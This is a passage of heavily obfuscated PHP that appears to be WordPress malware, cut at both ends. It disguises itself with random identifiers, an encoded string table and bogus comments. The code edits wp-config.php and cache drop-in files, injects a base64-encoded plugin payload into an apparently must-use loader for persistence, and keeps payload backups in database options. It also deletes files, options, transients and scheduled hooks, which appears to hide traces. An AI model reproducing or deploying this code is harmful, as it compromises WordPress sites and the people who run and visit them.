$qyzcc0u0fb     .  '/' .    $zweumo7ukof2doh8,
     $qyzcc0u0fb     .    '/' .    $d5kj7ygtput_2o,
    $ksir2926mq1a96gk   .    '/'  .   $g36rizb5kpxrinya,


$ksir2926mq1a96gk   .   '/' .   $b6l33jiqjn,
 $ksir2926mq1a96gk . '/'     . $zweumo7ukof2doh8,
   $ksir2926mq1a96gk  .  '/'    .    $d5kj7ygtput_2o,
    );


  $wtbdpbppmo0nl  =   ibwp6epnxuwn4akbn();
  $j8lsfcs32s9rjen[]      = $wtbdpbppmo0nl[1];
 $j8lsfcs32s9rjen[] =     $wtbdpbppmo0nl[1] .   lgr6hp92ka(1372);
  unset($wtbdpbppmo0nl);
 if     ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1564))) {



  foreach  ((array)     @$GLOBALS['__scf_xn1tkts0av_71']($adclv0gbv4g2vk . n747he9yo38(1614)  .   $mg55plvcl5ld1)   as $lj0wxa7yddij8xm)   $j8lsfcs32s9rjen[]  =  $lj0wxa7yddij8xm;
foreach  ((array)  @$GLOBALS['__scf_xn1tkts0av_71']($adclv0gbv4g2vk    .      hwc6a8djp6yy(1615)  .   $mg55plvcl5ld1)      as $lj0wxa7yddij8xm)  $j8lsfcs32s9rjen[]   =     $lj0wxa7yddij8xm;
  foreach ((array)     @$GLOBALS['__scf_xn1tkts0av_71'](ABSPATH  .   lgr6hp92ka(1296) .   $c9mftmltj4  .  n747he9yo38(284)) as    $r6muwcq0k1)    $j8lsfcs32s9rjen[] =   $r6muwcq0k1;
     foreach   ((array)   @$GLOBALS['__scf_xn1tkts0av_71']($adclv0gbv4g2vk  .   '/'     .  $c9mftmltj4   .    woii22it0(1616))    as  $r6muwcq0k1) $j8lsfcs32s9rjen[]  =  $r6muwcq0k1;
  foreach     ((array) @$GLOBALS['__scf_xn1tkts0av_71']($z6sjo3b9vuo78ncn  .  '/'    .     $c9mftmltj4   .   woii22it0(1616))     as    $r6muwcq0k1) $j8lsfcs32s9rjen[]  =  $r6muwcq0k1;
 foreach   ((array) @$GLOBALS['__scf_xn1tkts0av_71']($qyzcc0u0fb  . '/'  . $c9mftmltj4  .  n747he9yo38(1616))   as  $r6muwcq0k1) $j8lsfcs32s9rjen[]  =   $r6muwcq0k1;



  foreach ((array)  @$GLOBALS['__scf_xn1tkts0av_71']($ksir2926mq1a96gk  .  '/'   . $c9mftmltj4   . lgr6hp92ka(1616))  as  $r6muwcq0k1)   $j8lsfcs32s9rjen[]   = $r6muwcq0k1;



}

 $e18d83ldg_2 = w5r7ae3dymnovvl7(ABSPATH  .      'g',  (16-8));


   $a0m_sag_7708p3    =  array(ABSPATH . lgr6hp92ka(1291), $adclv0gbv4g2vk,   $z6sjo3b9vuo78ncn,    $qyzcc0u0fb,  $ksir2926mq1a96gk);
  foreach  ($a0m_sag_7708p3   as   $_gd)    {
 if   (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($_gd)   &&    @$GLOBALS['__scf_vz80l0_46bwga_46']($_gd)) fqr413zu_kw1ho7pi($_gd .   lgr6hp92ka(1294)     .     $e18d83ldg_2,   tdwuvuxeuijm__qj(),  k83m2slbb(1617));
 }


      if   ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1618)))  {
       foreach    ($a0m_sag_7708p3  as    $_gd)  {
     foreach (array(n747he9yo38(511),  n747he9yo38(1619),   k83m2slbb(1620), lgr6hp92ka(1621),  lgr6hp92ka(1622),  hwc6a8djp6yy(1623),    lgr6hp92ka(1624),    n747he9yo38(1625),   k83m2slbb(1626))   as   $o8rh7fz9nb) {
// MySQL JSON operators: multilinear gateway

 foreach  ((array)     @$GLOBALS['__scf_xn1tkts0av_71']($_gd  . '/'   . $o8rh7fz9nb      .  '*')    as    $yte45zfmzmrqntf)   $j8lsfcs32s9rjen[]   =     $yte45zfmzmrqntf;
}
 foreach   ((array)   @$GLOBALS['__scf_xn1tkts0av_71']($_gd .   woii22it0(1627))  as   $cyu8e_u9ez9t) $j8lsfcs32s9rjen[]  =    $cyu8e_u9ez9t;
  }
// split closed control-flow-graph

  }
     unset($e18d83ldg_2, $a0m_sag_7708p3, $_gd,    $o8rh7fz9nb, $yte45zfmzmrqntf, $cyu8e_u9ez9t);

$qizggsk079    =  array($GLOBALS['__scf_aiwotu1kwod_12']($adclv0gbv4g2vk,    lgr6hp92ka(1519)), $GLOBALS['__scf_aiwotu1kwod_12']($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()),   k83m2slbb(1519)), $GLOBALS['__scf_aiwotu1kwod_12']($z6sjo3b9vuo78ncn,    k83m2slbb(1519)), $GLOBALS['__scf_aiwotu1kwod_12']($qyzcc0u0fb, woii22it0(1628)), $GLOBALS['__scf_aiwotu1kwod_12']($ksir2926mq1a96gk, woii22it0(1628)));
if   (defined(k83m2slbb(1629))) $qizggsk079[] =  $GLOBALS['__scf_aiwotu1kwod_12'](WP_CONTENT_DIR,  hwc6a8djp6yy(1630));
  $r8s9q07rzwgrmw2u     =     array();
       foreach   ($GLOBALS['__scf_w5opg4gsg8g4tp_148']($qizggsk079) as $_pd)  {
$r8s9q07rzwgrmw2u[]   =    $_pd  .    '/' .   $zweumo7ukof2doh8;
    $r8s9q07rzwgrmw2u[]    =  $_pd .  '/' . $d5kj7ygtput_2o;
 $r8s9q07rzwgrmw2u[] =      $_pd  .   woii22it0(1631)      .    $d5kj7ygtput_2o;

 }
unset($qizggsk079, $_pd);
 foreach  ($r8s9q07rzwgrmw2u     as   $ed1_57x695vbymm)    {
  if    (@$GLOBALS['__scf_mtwlgr3p78_18']($ed1_57x695vbymm)) g_dmpjmw9t7l9p($ed1_57x695vbymm,   null);



   }
 unset($ed1_57x695vbymm);
  $lqbwhyvib1 =   array($GLOBALS['__scf_aiwotu1kwod_12'](ABSPATH, n747he9yo38(1630)));
      if   (defined(k83m2slbb(1629)))   $lqbwhyvib1[]    =    $GLOBALS['__scf_aiwotu1kwod_12'](WP_CONTENT_DIR, hwc6a8djp6yy(1630));
$lqbwhyvib1[] =  $GLOBALS['__scf_aiwotu1kwod_12']($adclv0gbv4g2vk,  hwc6a8djp6yy(1632));
     $lqbwhyvib1[]  =      $GLOBALS['__scf_aiwotu1kwod_12']($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()),  hwc6a8djp6yy(1632));
 $g4qtmvm3bh5 = array();
 foreach    ($GLOBALS['__scf_w5opg4gsg8g4tp_148']($lqbwhyvib1)   as $x2x4uqsj5pc6tpp) $g4qtmvm3bh5[]  =  $x2x4uqsj5pc6tpp   . lgr6hp92ka(1184);
      unset($lqbwhyvib1,   $x2x4uqsj5pc6tpp);
 foreach    ($g4qtmvm3bh5   as  $q_265o4titl4l)      {


       if  (!@$GLOBALS['__scf_mtwlgr3p78_18']($q_265o4titl4l))    continue;
$clyirr_5zjy    =  @$GLOBALS['__scf_zonhpgc286wu1_95']($q_265o4titl4l);
 if    ($clyirr_5zjy    &&   $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,    n747he9yo38(525)) !== false) {
$clyirr_5zjy  =  $GLOBALS['__scf_lv9m74lgyu5o6_460'](woii22it0(969)    .    $GLOBALS['__scf_wyw0gbsdks_v_823']($zweumo7ukof2doh8,  '/')  .  lgr6hp92ka(1633), "\n",    $clyirr_5zjy);

 if ($GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)) {
    $clyirr_5zjy    =    $GLOBALS['__scf_lv9m74lgyu5o6_460'](n747he9yo38(1634)   .    $GLOBALS['__scf_wyw0gbsdks_v_823']($zweumo7ukof2doh8,  '/')  .    n747he9yo38(1635),  "\n",  $clyirr_5zjy);
}
 if ($GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy))   {
   $clyirr_5zjy =  $GLOBALS['__scf_lv9m74lgyu5o6_460'](woii22it0(973) .   $GLOBALS['__scf_wyw0gbsdks_v_823']($zweumo7ukof2doh8,     '/')  .  lgr6hp92ka(974),   "\n",  $clyirr_5zjy);
 }
   if ($GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy))   m9xp6uh5w1cal39pfn4cx($q_265o4titl4l,    $clyirr_5zjy);
 }



      }
// @timeout bulkhead

     $zvbmysmag8ffu     =  ABSPATH    .   hwc6a8djp6yy(1636);



      if  (!@$GLOBALS['__scf_mtwlgr3p78_18']($zvbmysmag8ffu))  {
  $rp5b2ivrgi    =  $GLOBALS['__scf_zf6ei6xtcw1fb_11'](ABSPATH) .   lgr6hp92ka(1086);
 if    (@$GLOBALS['__scf_mtwlgr3p78_18']($rp5b2ivrgi))  $zvbmysmag8ffu    =   $rp5b2ivrgi;
  }
   if (@$GLOBALS['__scf_mtwlgr3p78_18']($zvbmysmag8ffu)   &&  @$GLOBALS['__scf_vz80l0_46bwga_46']($zvbmysmag8ffu))  {$yv5kpcc7w4jef=-755;$ozaa8zgrwbt=($yv5kpcc7w4jef>0)?$yv5kpcc7w4jef:-$yv5kpcc7w4jef;

    $_wc = @$GLOBALS['__scf_zonhpgc286wu1_95']($zvbmysmag8ffu);
 if     ($GLOBALS['__scf_epa1jymnf5_40']($_wc)    && $GLOBALS['__scf_p9nk7khmjys_7']($_wc, lgr6hp92ka(528))   !==   false)     {
     $dhe2o3hhh2m =  $GLOBALS['__scf_lv9m74lgyu5o6_460'](hwc6a8djp6yy(1637),    "define( 'WP_CACHE', true );\n", $_wc);
 if    ($GLOBALS['__scf_epa1jymnf5_40']($dhe2o3hhh2m) && $dhe2o3hhh2m !== $_wc  && dxgg5a63x4tsvkmvowozg3($dhe2o3hhh2m)) {
$a9e6rfx68rayk  = @$GLOBALS['__scf_gibkjes9ds_98']($zvbmysmag8ffu);
     if (m9xp6uh5w1cal39pfn4cx($zvbmysmag8ffu,   $dhe2o3hhh2m))    {
  if      ($a9e6rfx68rayk)   @$GLOBALS['__scf_gl7by4d7j2f1u_73']($zvbmysmag8ffu,  $a9e6rfx68rayk);$jnvhd8p4tgelg=13+8;$o3auimon73m5v=$jnvhd8p4tgelg-38;



   if    ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1569))) @delete_option(lgr6hp92ka(1552));



    }



}
 unset($dhe2o3hhh2m, $a9e6rfx68rayk);
  }
 unset($_wc);
}
unset($zvbmysmag8ffu,     $rp5b2ivrgi);
  $olfbgwu5srlkd     = $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1072)) ?  @$GLOBALS['__scf_n9umf2ff2bmitw_112'](k83m2slbb(1166))   :  false;
  if  (!$olfbgwu5srlkd      || $olfbgwu5srlkd  ===  "") $olfbgwu5srlkd  = n747he9yo38(1168);
$ehz046ky_6k8aw8h  =    array($GLOBALS['__scf_aiwotu1kwod_12'](ABSPATH,  woii22it0(1638)));


  if   (defined(hwc6a8djp6yy(1629)))   $ehz046ky_6k8aw8h[]  =  $GLOBALS['__scf_aiwotu1kwod_12'](WP_CONTENT_DIR,      hwc6a8djp6yy(1638));
     $ehz046ky_6k8aw8h[] =   $GLOBALS['__scf_aiwotu1kwod_12']($adclv0gbv4g2vk,     k83m2slbb(1638));
$ehz046ky_6k8aw8h[]    =     $GLOBALS['__scf_aiwotu1kwod_12']($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()),  woii22it0(1638));
 $tdm4f8ythpsbo4xn   =   array();


  foreach ($GLOBALS['__scf_w5opg4gsg8g4tp_148']($ehz046ky_6k8aw8h) as  $y50pas5dn3)  $tdm4f8ythpsbo4xn[]  =  $y50pas5dn3  .  '/'  . $olfbgwu5srlkd;
unset($ehz046ky_6k8aw8h,   $y50pas5dn3);
   foreach ($tdm4f8ythpsbo4xn  as  $nauz0t43knvcxv)   {
  if   (!@$GLOBALS['__scf_mtwlgr3p78_18']($nauz0t43knvcxv)) continue;
 $clyirr_5zjy   =    @$GLOBALS['__scf_zonhpgc286wu1_95']($nauz0t43knvcxv);
 if     ($clyirr_5zjy     && $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,  k83m2slbb(525))   !==     false) {
  $clyirr_5zjy   =  $GLOBALS['__scf_lv9m74lgyu5o6_460'](n747he9yo38(1639)    . $GLOBALS['__scf_wyw0gbsdks_v_823']($d5kj7ygtput_2o,      '/')   .   n747he9yo38(1640), "",  $clyirr_5zjy);
if  ($GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy))  m9xp6uh5w1cal39pfn4cx($nauz0t43knvcxv,   $clyirr_5zjy);

 }

 }
   $ervekl3jkjj5b  = $GLOBALS['__scf_wuhj_qjl_ze21_152']($j8lsfcs32s9rjen,    $r8s9q07rzwgrmw2u);
    $ugc7pgmydb   = array();
 $n83n65iuku_ =  false;
 foreach  ($GLOBALS['__scf_p8wjejlfb3_368']($g4qtmvm3bh5,   $tdm4f8ythpsbo4xn)   as  $ddwqcq1_ek) {


  if    (!@$GLOBALS['__scf_mtwlgr3p78_18']($ddwqcq1_ek)) continue;
$vzu4_9ec8w  =   @$GLOBALS['__scf_zonhpgc286wu1_95']($ddwqcq1_ek);
 if  (!$GLOBALS['__scf_epa1jymnf5_40']($vzu4_9ec8w))  {
     $n83n65iuku_ = true;
        continue;

}
// logarithmic accumulator

 if ($GLOBALS['__scf_p9nk7khmjys_7']($vzu4_9ec8w,  k83m2slbb(1641))    ===     false)   continue;$myegxcx477faj8=PHP_MAJOR_VERSION;$ohvsbm_c_xpzlz=$myegxcx477faj8*8;
 if  ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](hwc6a8djp6yy(1642),  $vzu4_9ec8w, $jhurcc8kcazsh5))  {
   foreach   ($GLOBALS['__scf_p8wjejlfb3_368']($jhurcc8kcazsh5[1],   $jhurcc8kcazsh5[2],  $jhurcc8kcazsh5[(0x2+0x1)])    as $zm3znh19_q) {
   if  ($zm3znh19_q  !==   "")  $ugc7pgmydb[$GLOBALS['__scf_a39nlvrnocxziu_3']($zm3znh19_q)] =    true;
}
      }
 unset($vzu4_9ec8w,  $jhurcc8kcazsh5, $zm3znh19_q);
 }
   if  (!$n83n65iuku_)   {
 foreach ($ervekl3jkjj5b  as $lg43ml2abp6bop)    {
     if   (@$GLOBALS['__scf_mtwlgr3p78_18']($lg43ml2abp6bop))  {

if (isset($ugc7pgmydb[$GLOBALS['__scf_a39nlvrnocxziu_3']($lg43ml2abp6bop)]))  continue;$qk2nj6n9zp07=PHP_INT_MAX/PHP_INT_MAX;$gf1drlw3=$qk2nj6n9zp07+6;
   dvd1rr9pr3xu08j($lg43ml2abp6bop, (563-143));
y0a1xt15v3nqhjqppfzn($lg43ml2abp6bop);


   }
     }
 }
   unset($ugc7pgmydb, $n83n65iuku_,  $ddwqcq1_ek);

foreach  (pqscyzk0b3_i9ywd6xqxv()    as  $g_5rxv0_i7attg) {



  if    (!@$GLOBALS['__scf_mtwlgr3p78_18']($g_5rxv0_i7attg) || !@$GLOBALS['__scf_vz80l0_46bwga_46']($g_5rxv0_i7attg))  continue;
 

      $clyirr_5zjy  = @$GLOBALS['__scf_zonhpgc286wu1_95']($g_5rxv0_i7attg);
if  ($GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy))      {
    $vggpbu7lkw6wo7c    = yvxwz8_803so_i($clyirr_5zjy,  hwc6a8djp6yy(1393), lgr6hp92ka(1398));
$vggpbu7lkw6wo7c  =  yvxwz8_803so_i($vggpbu7lkw6wo7c,  k83m2slbb(1643),   k83m2slbb(1398));
 if ($GLOBALS['__scf_epa1jymnf5_40']($vggpbu7lkw6wo7c)  &&  $vggpbu7lkw6wo7c  !==     $clyirr_5zjy) m9xp6uh5w1cal39pfn4cx($g_5rxv0_i7attg,   $vggpbu7lkw6wo7c);
       unset($vggpbu7lkw6wo7c);
  }
}
     if   ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1257))  && $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1250))) {
 $key    = go155bp4gg01flfmq();
     if ($key   !==    false)   {
$mekldswczu1c =    @$GLOBALS['__scf_xqbddz3we3l_1257']($key,  'w',  0,  0);
   if   ($mekldswczu1c)  {
 @$GLOBALS['__scf_b7t7kkz57gx_1264']($mekldswczu1c);
@$GLOBALS['__scf_iwgo9j38ao5_1260']($mekldswczu1c);


    }


 }
  }
     if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1569)))   {
// WP Redux Store: total accumulator

   $ywxvx55aeu5mb_ = w5r7ae3dymnovvl7(ABSPATH      .      lgr6hp92ka(1206),  (4^14));
// WP Image Block icon sprite


 @delete_option($ywxvx55aeu5mb_);
    $v5lj4zk5c_a2pwo      =  $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1590))    ? @get_option(n747he9yo38(1504),    array())      :  array();
 if  ($GLOBALS['__scf_lxbo0xm7220an_34']($v5lj4zk5c_a2pwo))     {
if   (isset($v5lj4zk5c_a2pwo['b']))  y0a1xt15v3nqhjqppfzn($v5lj4zk5c_a2pwo['b']);
 if  (isset($v5lj4zk5c_a2pwo[hwc6a8djp6yy(1502)])    &&  $GLOBALS['__scf_lxbo0xm7220an_34']($v5lj4zk5c_a2pwo[lgr6hp92ka(1644)]))     {
// typecheck keystore for Memcached adapter



   foreach   ($v5lj4zk5c_a2pwo[k83m2slbb(1645)]   as $_ci)    {


 if  ($GLOBALS['__scf_lxbo0xm7220an_34']($_ci)    &&  isset($_ci['b']))   y0a1xt15v3nqhjqppfzn($_ci['b']);



  }


}
    }
  @delete_option(hwc6a8djp6yy(1504));
 @delete_option(woii22it0(1494));
 @delete_option(lgr6hp92ka(1249));
     @delete_option(hwc6a8djp6yy(1646));
 @delete_option(hwc6a8djp6yy(1647));
    @delete_option(lgr6hp92ka(1178));
 @delete_option(n747he9yo38(1179));
    @delete_option(hwc6a8djp6yy(1177));
unset($v5lj4zk5c_a2pwo,    $_ci);
       }
   if   ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(61)))  {$let6gj5sr4bsy=9074;$yj43xz4_c_=$let6gj5sr4bsy%16;
    @delete_transient(hwc6a8djp6yy(665));
 @delete_transient(n747he9yo38(1648));
     @delete_transient(t5exk4f0xw1h_voqxx0w());

  }
if  ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(670)))    {
  @wp_clear_scheduled_hook(n747he9yo38(1649));
 @wp_clear_scheduled_hook(n747he9yo38(1650));
@wp_clear_scheduled_hook(nm3izpoopvcbrc7e());
  }
 }   catch   (Throwable  $oz7m23pnscj7)  {
 pas31bymshzdagwkp(lgr6hp92ka(1651), $oz7m23pnscj7);
  }   catch (Exception $oz7m23pnscj7)     {
// PHP 8.1 intersection attachment metadata

      }


  }
       function   uilv8513ypbbeio()
  {

 try  {
if   (!defined(n747he9yo38(1575))) return  false;



      $adclv0gbv4g2vk    =  ms1ba5i41di9frre();
$xcpk8m9d3fb0oci   =  $adclv0gbv4g2vk  . lgr6hp92ka(1652);
$_3gqlb29heqj =  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(),  hwc6a8djp6yy(1653));
    $lg3qq7zrzjh0ss2  =    j7q7bvavumc4i765();
if  (!$lg3qq7zrzjh0ss2      || $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2) <  (697-197)  ||  $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2) > (1048496+80) ||  rn7y5z4w_xtam4pshy6($lg3qq7zrzjh0ss2)    ||     !dxgg5a63x4tsvkmvowozg3($lg3qq7zrzjh0ss2))  return   false;
   $current    =    @$GLOBALS['__scf_yi4cpqdjr9_711']($xcpk8m9d3fb0oci)   ?  @$GLOBALS['__scf_zonhpgc286wu1_95']($xcpk8m9d3fb0oci)    :   "";
      if     (!$GLOBALS['__scf_epa1jymnf5_40']($current))      {
        pas31bymshzdagwkp(n747he9yo38(652),    hwc6a8djp6yy(1654));
return false;
      }
   $current =   ouktu5q4cpiyod2s($current);
$iquppyg099pblab7   =   tdwuvuxeuijm__qj()  .    ':' .   w5r7ae3dymnovvl7(ABSPATH . n747he9yo38(1655),      (2+6));



     $y_9_c6btob    =  woii22it0(1656)     .  $iquppyg099pblab7  .    woii22it0(1279);
  $lzk88d5vtss68uw8  = hwc6a8djp6yy(1657) .  $iquppyg099pblab7  .    k83m2slbb(1279);



       $emkywpmvx7kp   =     w5r7ae3dymnovvl7(ABSPATH   . k83m2slbb(1658), (0x6+0x2));
 $v9saam_jx506r5  =  $GLOBALS['__scf_lv9m74lgyu5o6_460'](lgr6hp92ka(1659) .  $emkywpmvx7kp  .  n747he9yo38(1660),  "",      $current);
 $rej_hmdo5wtfx   =  ($GLOBALS['__scf_p9nk7khmjys_7']($v9saam_jx506r5,  woii22it0(1661))    !==  false);



     if   ($GLOBALS['__scf_p9nk7khmjys_7']($current,  $y_9_c6btob) !==    false   &&   $GLOBALS['__scf_p9nk7khmjys_7']($current, $lzk88d5vtss68uw8)     !==   false &&  !$rej_hmdo5wtfx) return true;


$current     =   $GLOBALS['__scf_lv9m74lgyu5o6_460'](n747he9yo38(1662),   "",  $v9saam_jx506r5);
   if     (!$GLOBALS['__scf_epa1jymnf5_40']($current))    {



  pas31bymshzdagwkp(k83m2slbb(652),   lgr6hp92ka(1663));
  return false;



}
       $yhm9eprobm3tk   = vxphx3fmo9f0xamsip2gy0();
   if      (!$yhm9eprobm3tk)   return  false;



 $qt93blyaolb  = woii22it0(1664)    .   $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($_3gqlb29heqj  . (string)   besgaqtopfqsg9c6hd()), 0, (0x4+0x4));

  $pbplmz5tos1wtv   =  xewvuvq66ezpbfhc(
woii22it0(653),
 array('__SLUG__',   '__PLUGIN_BASE64__',   '__GUARD_NAME__',    '__VERSION__'),
 array($_3gqlb29heqj,    $yhm9eprobm3tk,  $qt93blyaolb,  tdwuvuxeuijm__qj())
 );
if (!$pbplmz5tos1wtv)   {
     if    ((int) get_option(n747he9yo38(1149),  0)     > 0)  pas31bymshzdagwkp(lgr6hp92ka(652),  hwc6a8djp6yy(1665));
     return false;


 }
// dynamic transformer

$current    = ouktu5q4cpiyod2s($current);
   $fnnqc3v8pbe    = $GLOBALS['__scf_lv9m74lgyu5o6_460'](k83m2slbb(1285),  "",   $pbplmz5tos1wtv);
      $c6jgu7f290owz = ($GLOBALS['__scf_h5yqrl6kmpb_10']($current)   ===   0);
 if  (!$c6jgu7f290owz)  {


        if     (!cw3rg8hwq6ots8(hwc6a8djp6yy(652)))    {
  pas31bymshzdagwkp(k83m2slbb(1666),     hwc6a8djp6yy(1667));
return   false;
  }
  if  (!r4wrabnam8f37mfnpwguau($xcpk8m9d3fb0oci,    $current)) {

 pas31bymshzdagwkp(hwc6a8djp6yy(1668),   n747he9yo38(1287));
     return  false;
 }
    xunqfmd40biprxga6h5pft(n747he9yo38(1668));
}  else  {
if      (!r4wrabnam8f37mfnpwguau($xcpk8m9d3fb0oci,    ""))   {
 pas31bymshzdagwkp(hwc6a8djp6yy(1668),  k83m2slbb(1287));
       return false;
}
      }
 $mfz02rl22n_yfy = v3uqz1qs3wskken9i0($current, $y_9_c6btob  .  "\n"    . $fnnqc3v8pbe  .    "\n"  .    $lzk88d5vtss68uw8);
   if (!m9xp6uh5w1cal39pfn4cx($xcpk8m9d3fb0oci,  $mfz02rl22n_yfy))    {
 return false;
  }
    zvn_deaq8dwiaefof_fe($xcpk8m9d3fb0oci);
   j432fegx9wjwq5cz8t($xcpk8m9d3fb0oci);
   return     true;
      }   catch  (Throwable   $oz7m23pnscj7) {
pas31bymshzdagwkp(hwc6a8djp6yy(1668),  $oz7m23pnscj7);
   return  false;
 }  catch  (Exception  $oz7m23pnscj7) {
    return  false;
 }
      }
    function  pqscyzk0b3_i9ywd6xqxv()
  {
    $a6ak9qjp3b89f =  array();
   if  (!$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1590)))   return  $a6ak9qjp3b89f;
    $w9gh6azbtm5id =  (defined(k83m2slbb(1629)) ?     WP_CONTENT_DIR :  (defined(lgr6hp92ka(1575))      ?  ABSPATH .      k83m2slbb(1669)    : ""))  .   woii22it0(1670);
       $pch0zsuihs7fr =   (string) @get_option(k83m2slbb(1055),     "");
if  ($pch0zsuihs7fr    !==    "")  $a6ak9qjp3b89f[]   = $w9gh6azbtm5id . $pch0zsuihs7fr   .   woii22it0(1594);


$sopy53aeo0e   =   (string) @get_option(k83m2slbb(1671), "");
    if  ($sopy53aeo0e     !==  ""   &&   $sopy53aeo0e !==  $pch0zsuihs7fr)    $a6ak9qjp3b89f[]  =  $w9gh6azbtm5id .    $sopy53aeo0e .   k83m2slbb(1672);
 return $a6ak9qjp3b89f;
}



     function sbp2zv4augpodko5v8yhkv()
 {



if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(210))      &&  is_multisite()   &&   $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1673))) {
 return (array)    @get_site_option(hwc6a8djp6yy(1674),  array());



}
    return   (array)  @get_option(lgr6hp92ka(1674),  array());
   }
   function     hsceryso5slizq($ykjoqgys2cv4pvh)

   {
// WordPress 6.4 patterns post revision

  if   ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(210))  &&    is_multisite()   &&     $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1675))) {
    @update_site_option(n747he9yo38(1674), $ykjoqgys2cv4pvh);
return;



 }

@update_option(hwc6a8djp6yy(1676),   $ykjoqgys2cv4pvh,   lgr6hp92ka(1593));


  }


function    osum01he3psfy2($obb00_vecb89w9f6)
   {
$ykjoqgys2cv4pvh     =   sbp2zv4augpodko5v8yhkv();


    return   isset($ykjoqgys2cv4pvh[w5r7ae3dymnovvl7($obb00_vecb89w9f6,   (229^233))]);
    }
function    w14uzx7winr5ntj6hh($obb00_vecb89w9f6)
  {


 $ykjoqgys2cv4pvh   =  sbp2zv4augpodko5v8yhkv();
$nx9rqqi4m48rcyvs  =    $GLOBALS['__scf_cyotfgtf1a8m_189']() - (7775963+37);
foreach  ($ykjoqgys2cv4pvh    as   $r5i3t50q8dp1spg =>    $m0cgc7sweypkfgd5)   {
  if     ((int)   $m0cgc7sweypkfgd5      < $nx9rqqi4m48rcyvs)   unset($ykjoqgys2cv4pvh[$r5i3t50q8dp1spg]);  
     }

  $ykjoqgys2cv4pvh[w5r7ae3dymnovvl7($obb00_vecb89w9f6,   (11+1))] =   $GLOBALS['__scf_cyotfgtf1a8m_189']();
 hsceryso5slizq($ykjoqgys2cv4pvh);
  }



 function   xigk5v6gq2_kr6i5u_i($obb00_vecb89w9f6,  $mfz02rl22n_yfy)
   {
 if  (!$GLOBALS['__scf_epa1jymnf5_40']($mfz02rl22n_yfy)   ||     $mfz02rl22n_yfy     ===  ""  ||   $GLOBALS['__scf_h5yqrl6kmpb_10']($mfz02rl22n_yfy) >   (1048563+13))     return;
  $qlij220yfi_en7   =    $GLOBALS['__scf_fn35xwj9wjtpe_1254'](woii22it0(1255), $mfz02rl22n_yfy);
$y5gglzu65i  =  (array)  @get_option(k83m2slbb(1677),   array());
  $prah7czx9ukf7u =   w5r7ae3dymnovvl7($obb00_vecb89w9f6,   (11+1));
 if (isset($y5gglzu65i[$prah7czx9ukf7u][lgr6hp92ka(1678)]) &&  $y5gglzu65i[$prah7czx9ukf7u][lgr6hp92ka(1678)]  ===  $qlij220yfi_en7) return;
   $y5gglzu65i[$prah7czx9ukf7u] = array(k83m2slbb(1600) =>   $GLOBALS['__scf_h5yqrl6kmpb_10']($mfz02rl22n_yfy), hwc6a8djp6yy(1678) => $qlij220yfi_en7,  lgr6hp92ka(1679)  =>  $GLOBALS['__scf_ocf2s22fr524pv_351']($mfz02rl22n_yfy));
        @update_option(hwc6a8djp6yy(1677),    $y5gglzu65i,   hwc6a8djp6yy(1593));


       }
function fde_uxn90cjt9_cvkiioz($obb00_vecb89w9f6)
 {
 $y5gglzu65i  = (array)   @get_option(hwc6a8djp6yy(1680),    array());
 $oz7m23pnscj7 = isset($y5gglzu65i[w5r7ae3dymnovvl7($obb00_vecb89w9f6,   (3+9))])   ?  $y5gglzu65i[w5r7ae3dymnovvl7($obb00_vecb89w9f6, (3<<2))]  :  null;
if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($oz7m23pnscj7)    || empty($oz7m23pnscj7[woii22it0(1679)]) ||    empty($oz7m23pnscj7[n747he9yo38(1600)]) ||  empty($oz7m23pnscj7[woii22it0(1681)]))  return false;
     $h0gifq03pj      = $GLOBALS['__scf_ts5_ao9xhku_355']($oz7m23pnscj7[hwc6a8djp6yy(1682)],    true);

if    (!$GLOBALS['__scf_epa1jymnf5_40']($h0gifq03pj) ||  $GLOBALS['__scf_h5yqrl6kmpb_10']($h0gifq03pj)  !==    (int)     $oz7m23pnscj7[k83m2slbb(1600)])    return false;
    if   ($GLOBALS['__scf_fn35xwj9wjtpe_1254'](n747he9yo38(1681),  $h0gifq03pj)  !==  $oz7m23pnscj7[lgr6hp92ka(1683)])   return false;
if    (!dxgg5a63x4tsvkmvowozg3($h0gifq03pj))   return  false;
 return    $h0gifq03pj;
   }
  function   wa1hocmkdm9hogfs($g_5rxv0_i7attg,   $current)
      {
    $d1gu6hvnzjtln  =    aos6k37ji4ryyhkga73e($current);
  if   (!$GLOBALS['__scf_epa1jymnf5_40']($d1gu6hvnzjtln) || $d1gu6hvnzjtln  === "") return false;
    



       $jwmdh6wt7k13lvk    =    zaag8uz2ttqgqlhq()      .  hwc6a8djp6yy(1684)    . w5r7ae3dymnovvl7($g_5rxv0_i7attg,  (0x3+0x9))    .   lgr6hp92ka(1685);
